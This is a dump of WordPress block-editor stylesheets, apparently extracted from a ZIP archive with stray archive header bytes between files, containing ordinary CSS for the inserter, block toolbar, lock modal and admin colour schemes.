.block-editor-block-icon{margin-right:8px}.block-editor-inserter__preview-container__popover{top:16px!important}.block-editor-inserter__preview-container{display:none;max-height:calc(100% - 32px);overflow-y:hidden;padding:16px;width:280px}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-inserter__media-list__list-item{height:100%}.block-editor-inserter__preview-container .block-editor-block-card{padding-bottom:4px;padding-left:0;padding-right:0}.block-editor-inserter__insertable-blocks-at-selection{border-bottom:1px solid #e0e0e0}.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__media-tabs-container{display:flex;flex-direction:column;flex-grow:1;justify-content:space-between;padding:16px}.block-editor-inserter__category-tablist{margin-bottom:8px}.block-editor-inserter__category-panel{display:flex;flex-direction:column;outline:1px solid #0000;padding:0 16px}@media (min-width:782px){.block-editor-inserter__category-panel{background:#f0f0f0;border-left:1px solid #e0e0e0;border-top:1px solid #e0e0e0;height:calc(100% + 1px);left:350px;padding:0;position:absolute;top:-1px;width:280px}.block-editor-inserter__category-panel .block-editor-block-patterns-list,.block-editor-inserter__category-panel .block-editor-inserter__media-list{padding:0 24px 16px}}.block-editor-inserter__patterns-category-panel-header{padding:8px 0}@media (min-width:782px){.block-editor-inserter__patterns-category-panel-header{padding:8px 24px}}.block-editor-inserter__patterns-category-no-results{margin-top:24px}.block-editor-inserter__patterns-filter-help{border-top:1px solid #ddd;color:#757575;min-width:280px;padding:16px}.block-editor-block-patterns-list,.block-editor-inserter__media-list{flex-grow:1;height:100%;overflow-y:auto}.block-editor-inserter__preview-content{align-items:center;background:#f0f0f0;display:grid;flex-grow:1}.block-editor-inserter__preview-content-missing{align-items:center;background:#f0f0f0;border-radius:2px;color:#757575;display:flex;flex:1;justify-content:center;min-height:144px}.block-editor-inserter__tips{border-top:1px solid #ddd;flex-shrink:0;padding:16px;position:relative}.block-editor-inserter__quick-inserter{max-width:100%;width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{float:left;height:0;padding:0}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{min-height:100px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{background:#1e1e1e;border-radius:0;color:#fff;display:block;width:100%}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:none}.block-editor-block-patterns-explorer__sidebar{bottom:0;left:0;overflow-x:visible;overflow-y:scroll;padding:24px 32px 32px;position:absolute;top:72px;width:280px}.block-editor-block-patterns-explorer__sidebar__categories-list__item{display:block;height:48px;text-align:left;width:100%}.block-editor-block-patterns-explorer__search{margin-bottom:32px}.block-editor-block-patterns-explorer__search-results-count{padding-bottom:32px}.block-editor-block-patterns-explorer__list{margin-left:280px;padding:24px 0 32px}.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{width:380px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list{display:grid;grid-gap:32px;grid-template-columns:repeat(1,1fr);margin-bottom:16px}@media (min-width:1080px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(2,1fr)}}@media (min-width:1440px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(3,1fr)}}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{min-height:240px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{height:inherit;max-height:800px;min-height:100px}.components-heading.block-editor-inserter__patterns-category-panel-title{font-weight:500}.block-editor-inserter__media-library-button.components-button,.block-editor-inserter__patterns-explore-button.components-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__media-panel{display:flex;flex-direction:column;min-height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__media-panel{padding:0}}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{align-items:center;display:flex;flex:1;height:100%;justify-content:center}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{margin-bottom:24px}@media (min-width:782px){.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{margin-bottom:0;padding:16px 24px}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){--wp-components-color-background:#fff}}.block-editor-inserter__media-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-inserter__media-list__list-item.is-placeholder{min-height:100px}.block-editor-inserter__media-list__list-item[draggable=true] .block-editor-inserter__media-list__list-item{cursor:grab}.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview>*{outline-color:#0000004d}.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{display:block}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{position:absolute;right:8px;top:8px}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{background:#fff;display:none}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{display:block}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list__item{height:100%}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{align-items:center;border-radius:2px;display:flex;overflow:hidden}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{margin:0 auto;max-width:100%;outline:1px solid #0000001a;outline-offset:-1px}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{align-items:center;background:#ffffffb3;display:flex;height:100%;justify-content:center;pointer-events:none;position:absolute;width:100%}.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{outline-color:var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}@media not (prefers-reduced-motion){.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{transition:outline .1s linear}}.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{min-width:auto}.block-editor-inserter__mobile-tab-navigation{height:100%;padding:16px}.block-editor-inserter__mobile-tab-navigation>*{height:100%}@media (min-width:600px){.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{max-width:480px}}.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{margin:0}.block-editor-inserter__hint{margin:16px 16px 0}.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{height:40px}.block-editor-inserter__pattern-panel-placeholder{display:none}.block-editor-inserter__menu.is-zoom-out{display:flex}@media (min-width:782px){.block-editor-inserter__menu.is-zoom-out.show-panel:after{content:"";display:block;height:100%;width:300px}}@media (max-width:959px){.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}}.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{display:none;padding:0 24px 16px}@media (min-width:480px){.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{display:block}}.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{flex:1;margin-bottom:0}.spacing-sizes-control__header{height:16px;margin-bottom:12px}.spacing-sizes-control__dropdown{height:24px}.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{flex:1}.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{flex:0 0 auto}.spacing-sizes-control__icon{margin-left:-4px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[-Z__+dist/block-editor/default-editor-styles.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
body{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  line-height:1.5;
  --wp--style--block-gap:2em;
}

p{
  line-height:1.8;
}

.editor-post-title__block{
  font-size:2.5em;
  font-weight:800;
  margin-bottom:1em;
  margin-top:2em;
}PK1Xd[�o�����dist/block-editor/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-autocompleters__block{
  white-space:nowrap;
}
.block-editor-autocompleters__block .block-editor-block-icon{
  margin-left:8px;
}
.block-editor-autocompleters__block[aria-selected=true] .block-editor-block-icon{
  color:inherit !important;
}

.block-editor-autocompleters__link{
  white-space:nowrap;
}
.block-editor-autocompleters__link .block-editor-block-icon{
  margin-left:8px;
}

.block-editor-global-styles-background-panel__inspector-media-replace-container{
  border:1px solid #ddd;
  border-radius:2px;
  grid-column:1 /  -1;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container.is-open{
  background-color:#f0f0f0;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item{
  border:0;
  flex-grow:1;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__inspector-preview-inner{
  height:100%;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown .block-editor-global-styles-background-panel__dropdown-toggle{
  height:40px;
}

.block-editor-global-styles-background-panel__image-tools-panel-item{
  border:1px solid #ddd;
  grid-column:1 /  -1;
  position:relative;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .components-drop-zone__content-icon{
  display:none;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button{
  color:#1e1e1e;
  display:block;
  width:100%;
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading{
  height:100%;
  padding:10px 0 0;
  position:absolute;
  width:100%;
  z-index:1;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading svg{
  margin:0;
}

.block-editor-global-styles-background-panel__dropdown-toggle,.block-editor-global-styles-background-panel__image-preview-content{
  height:100%;
  padding-right:12px;
  width:100%;
}

.block-editor-global-styles-background-panel__dropdown-toggle{
  background:#0000;
  border:none;
  cursor:pointer;
}

.block-editor-global-styles-background-panel__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-global-styles-background-panel__inspector-preview-inner .block-editor-global-styles-background-panel__inspector-image-indicator-wrapper{
  height:20px;
  min-width:auto;
  width:20px;
}

.block-editor-global-styles-background-panel__inspector-image-indicator{
  background-size:cover;
  border-radius:50%;
  display:block;
  height:20px;
  position:relative;
  width:20px;
}

.block-editor-global-styles-background-panel__inspector-image-indicator:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}

.block-editor-global-styles-background-panel__dropdown-content-wrapper{
  min-width:260px;
  overflow-x:hidden;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker-wrapper{
  background-color:#f0f0f0;
  border:1px solid #ddd;
  border-radius:2px;
  width:100%;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker__media--image{
  max-height:180px;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker:after{
  content:none;
}

.modal-open .block-editor-global-styles-background-panel__popover{
  z-index:159890;
}

.block-editor-global-styles-background-panel__media-replace-popover .components-popover__content{
  width:226px;
}
.block-editor-global-styles-background-panel__media-replace-popover .components-button{
  padding:0 8px;
}
.block-editor-global-styles-background-panel__media-replace-popover .components-button .components-menu-items__item-icon.has-icon-right{
  margin-right:16px;
}

.block-editor-block-alignment-control__menu-group .components-menu-item__info{
  margin-top:0;
}

iframe[name=editor-canvas]{
  background-color:#ddd;
  box-sizing:border-box;
  display:block;
  height:100%;
  width:100%;
}
@media not (prefers-reduced-motion){
  iframe[name=editor-canvas]{
    transition:all .4s cubic-bezier(.46, .03, .52, .96);
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-inspector p:not(.components-base-control__help){
  margin-top:0;
}
.block-editor-block-inspector h2,.block-editor-block-inspector h3{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.block-editor-block-inspector .components-base-control:where(:not(:last-child)),.block-editor-block-inspector .components-radio-control:where(:not(:last-child)){
  margin-bottom:16px;
}
.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{
  margin-bottom:0;
}
.block-editor-block-inspector .components-panel__body{
  border:none;
  border-top:1px solid #e0e0e0;
  margin-top:-1px;
}

.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{
  background:#fff;
  display:block;
  font-size:13px;
  padding:32px 16px;
  text-align:center;
}

.block-editor-block-inspector__no-block-tools{
  border-top:1px solid #ddd;
}
.block-editor-block-list__insertion-point{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-list__insertion-point-indicator{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  opacity:0;
  position:absolute;
  transform-origin:center;
  will-change:transform, opacity;
}
.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{
  height:4px;
  top:calc(50% - 2px);
  width:100%;
}
.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{
  bottom:0;
  right:calc(50% - 2px);
  top:0;
  width:4px;
}

.block-editor-block-list__insertion-point-inserter{
  display:none;
  justify-content:center;
  position:absolute;
  right:calc(50% - 12px);
  top:calc(50% - 12px);
  will-change:transform;
}
@media (min-width:480px){
  .block-editor-block-list__insertion-point-inserter{
    display:flex;
  }
}

.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{
  pointer-events:none;
}
.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{
  pointer-events:all;
}

.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter{
  left:0;
  line-height:0;
  position:absolute;
  top:0;
}
.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled{
  display:none;
}

.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:var(--wp-admin-theme-color);
}
.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:#1e1e1e;
}

@keyframes hide-during-dragging{
  to{
    position:fixed;
    transform:translate(-9999px, 9999px);
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  margin-bottom:8px;
  margin-top:8px;
  overflow:visible;
  pointer-events:all;
  position:static;
  width:auto;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-right:56px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-right:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{
  overflow:visible;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{
  border-left-color:#1e1e1e;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar{
  background-color:#1e1e1e;
  color:#f0f0f0;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar.block-editor-block-contextual-toolbar{
  border-color:#2f2f2f;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button{
  color:#ddd;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:hover{
  color:#fff;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:focus:before{
  box-shadow:inset 0 0 0 1px #1e1e1e, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:disabled,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button[aria-disabled=true]{
  color:#757575;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#1e1e1e;
  border-color:#2f2f2f;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-switcher__toggle{
  color:#f0f0f0;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar-group{
  border-left-color:#2f2f2f !important;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .is-pressed{
  color:var(--wp-admin-theme-color);
}
.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{
  visibility:hidden;
}
.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
  opacity:0;
}
@media not (prefers-reduced-motion){
  .is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
    animation:hide-during-dragging 1ms linear forwards;
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  position:absolute;
  right:-57px;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{
  content:"";
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#fff;
  border:1px solid #1e1e1e;
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  margin-right:-1px;
  position:relative;
  right:auto;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-right:1px solid #1e1e1e;
}

.is-dragging-components-draggable .components-tooltip{
  display:none;
}

.components-popover.block-editor-block-popover__inbetween .block-editor-button-pattern-inserter__button{
  pointer-events:all;
  position:absolute;
  right:50%;
  top:50%;
  transform:translateX(50%) translateY(-50%);
}

.block-editor-block-lock-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .block-editor-block-lock-modal .components-modal__frame{
    max-width:480px;
  }
}

.block-editor-block-lock-modal__options legend{
  margin-bottom:16px;
  padding:0;
}

.block-editor-block-lock-modal__checklist{
  margin:0;
}

.block-editor-block-lock-modal__options-all{
  padding:12px 0;
}
.block-editor-block-lock-modal__options-all .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-lock-modal__checklist-item{
  align-items:center;
  display:flex;
  gap:12px;
  justify-content:space-between;
  margin-bottom:0;
  padding:12px 32px 12px 0;
}
.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{
  flex-shrink:0;
  margin-left:12px;
  fill:#1e1e1e;
}
.block-editor-block-lock-modal__checklist-item:hover{
  background-color:#f0f0f0;
  border-radius:2px;
}

.block-editor-block-lock-modal__template-lock{
  border-top:1px solid #ddd;
  margin-top:16px;
  padding-top:16px;
}

.block-editor-block-lock-modal__actions{
  margin-top:24px;
}

.block-editor-block-lock-toolbar .components-button.has-icon{
  min-width:36px !important;
}

.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  margin-right:-6px !important;
}

.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  border-right:1px solid #1e1e1e;
  margin-left:-6px;
  margin-right:6px !important;
}

.block-editor-block-breadcrumb{
  list-style:none;
  margin:0;
  padding:0;
}
.block-editor-block-breadcrumb li{
  display:inline-flex;
  margin:0;
}
.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{
  fill:currentColor;
  margin-left:-4px;
  margin-right:-4px;
  transform:scaleX(-1);;
}
.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{
  display:none;
}

.block-editor-block-breadcrumb__current{
  cursor:default;
}

.block-editor-block-breadcrumb__button.block-editor-block-breadcrumb__button,.block-editor-block-breadcrumb__current{
  color:#1e1e1e;
  font-size:inherit;
  padding:0 8px;
}

.block-editor-block-card{
  align-items:flex-start;
  color:#1e1e1e;
  display:flex;
  padding:16px;
}

.block-editor-block-card__title{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  font-weight:500;
  gap:4px 8px;
}
.block-editor-block-card__title.block-editor-block-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
}

.block-editor-block-card__name{
  padding:3px 0;
}

.block-editor-block-card .block-editor-block-icon{
  flex:0 0 24px;
  height:24px;
  margin-left:12px;
  margin-right:0;
  width:24px;
}

.block-editor-block-card.is-synced .block-editor-block-icon{
  color:var(--wp-block-synced-color);
}
.block-editor-block-compare{
  height:auto;
}

.block-editor-block-compare__wrapper{
  display:flex;
  padding-bottom:16px;
}
.block-editor-block-compare__wrapper>div{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  max-width:600px;
  min-width:200px;
  padding:0 0 0 16px;
  width:50%;
}
.block-editor-block-compare__wrapper>div button{
  float:left;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__converted{
  border-right:1px solid #ddd;
  padding-left:0;
  padding-right:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html{
  border-bottom:1px solid #ddd;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:12px;
  line-height:1.7;
  padding-bottom:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span{
  background-color:#e6ffed;
  padding-bottom:3px;
  padding-top:3px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{
  background-color:#acf2bd;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{
  background-color:#cc1818;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview{
  padding:16px 0 0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{
  font-size:12px;
  margin-top:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__action{
  margin-top:16px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__heading{
  font-size:1em;
  font-weight:400;
  margin:.67em 0;
}

.block-editor-block-draggable-chip-wrapper{
  position:absolute;
  right:0;
  top:-24px;
}

.block-editor-block-draggable-chip{
  background-color:#1e1e1e;
  border-radius:2px;
